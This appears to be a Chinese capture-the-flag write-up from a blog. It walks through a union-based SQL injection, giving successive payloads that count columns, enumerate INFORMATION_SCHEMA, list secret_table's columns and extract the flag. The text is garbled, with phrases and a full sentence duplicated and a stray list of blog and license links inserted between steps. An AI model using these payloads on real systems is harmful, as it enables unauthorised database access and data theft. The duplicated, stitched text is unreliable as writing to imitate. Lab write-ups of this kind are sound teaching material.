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这一题考察的是这一题考察的是 SQL 注入注入

首先用 ' and 0 union select 1,2,3 #  来初步判断该sql查询返回三列数据

然后用 ' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #  得到表名，很明显我们需要
得到 secret_table  表中的内容

https://blog.csdn.net/weixin_42151611
https://blog.csdn.net/weixin_42151611/category_7734626.html
https://blog.csdn.net/weixin_42151611/category_8758506.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_42151611/article/details/91347270
https://blog.csdn.net/weixin_42151611/category_7734626.html
https://blog.csdn.net/weixin_42151611/category_8758506.html


再用 ' and 0 union select 1,column_name,data_type from information_schema.columns where
table_name='secret_table'#  得到 secret_table  表的列名以及数据类型

最后就可以简单粗暴地得到flag
' and 0 union select 1,2,fl4g from secret_table #

尽管这一题用尽管这一题用sqlmap也很好做，但是如果学习的话，还是自己手操一遍比较好也很好做，但是如果学习的话，还是自己手操一遍比较好
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